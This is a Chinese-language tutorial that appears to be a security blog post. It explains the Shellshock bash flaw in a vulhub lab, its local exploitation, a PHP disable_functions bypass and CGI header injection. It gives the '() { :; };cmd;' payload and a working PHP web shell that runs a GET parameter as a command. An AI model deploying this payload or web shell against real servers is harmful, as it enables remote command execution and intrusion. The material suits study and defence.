序
这是前天就想写的,但是...是我懒了.
漏洞信息
小于4.3版本的bash会将以"(){"开头的环境变量解析为函数,解析后bash不会退出,会继续执行.故而可构造payload达到命令执行.
用的vulhub docker环境.其他环境搭建网上有很多了,我就不再写了.
本地利用
payload: 环境变量='() { :; };cmd;' 另起一进程.如下
环境变量定义完毕后,必须要另起一进程(比如bash)才会触发(bash启动时会载入环境变量并解析,而bash在启动后设置新的环境变量并不会立即解析).
可以使用env查看环境变量设置情况
这里可以看到两次使用env命令.
第一次在使用env命令的同时定义NEW_VAR环境变量,可以在env结果中看到其存在.
第二次先定义NEW_VAR再调用env,但是env中没有NEW_VAR.
这是因为bash中每一行命令视作一个子进程,直接定义的环境变量只在那一个子进程中存在.
使用export定义的环境变量则可在当前shell中存在,如下.
使用export导入的恶意命令只会在当前进程创建子进程的时候触发,而当前进程的子进程创建子进程(孙子进程)的时候是不会触发的.
可以看到shellshock漏洞的利用还是很简单的.设置恶意环境变量,想办法打开一个子进程即可.
绕过disable_functions
上面可以看到,在存在shellshock漏洞的服务器上,如果我们能够设置恶意环境变量再打开一个子进程便可以执行任意命令.
只要php做到设置环境变量(putenv)与打开子进程(mail,error_log等函数),那么php就可以利用这个漏洞.
写一个php文件,运行如下
也可以用mail函数 ,如下
php -n选项是不使用php.ini(这里是为了演示mail函数,就无视一下disable_functions)
成功绕过.
<?php
/**
*Author:4ut15m
*Filename:shellshock.php
*/
$cmd = $_GET['cmd'] . " > data.txt 2>&1";
@putenv("MY_CMD=() { :; };$cmd");
error_log("fine",1); //mail也可.
echo file_get_contents("data.txt");
?>
CGI
这个不是本文重点,简单说一下利用就好.
对于CGI程序来说,它会继承系统环境变量,而当http服务器调用CGI程序后,CGI程序又会多出以下环境变量(很多,我只列与客户端相关的一部分,与http报头含义差不多).
REMOTE_ADDR:客户机主机名
REMOTE_HOST:客户机IP地址
ACCEPT:客户端希望接收的数据类型
ACCEPT_ENCODING:客户机支持的解码方式
ACCEPT_LANGUAGE:客户机可接受语言的ISO代码
AUTORIZATION:被证实了的用户
REFFERER:从哪访问过来的
USER_AGENT:客户端浏览器的信息
可以看到CGI程序接收这些数据都是以环境变量的形式接收处理的. 并且CGI程序处理也会调用bash,如下程序.
由此,我们也可以构造请求(修改请求头就等于是修改环境变量)通过这个cgi程序执行命令,利用如下.
可以直接用curl
也可抓包再改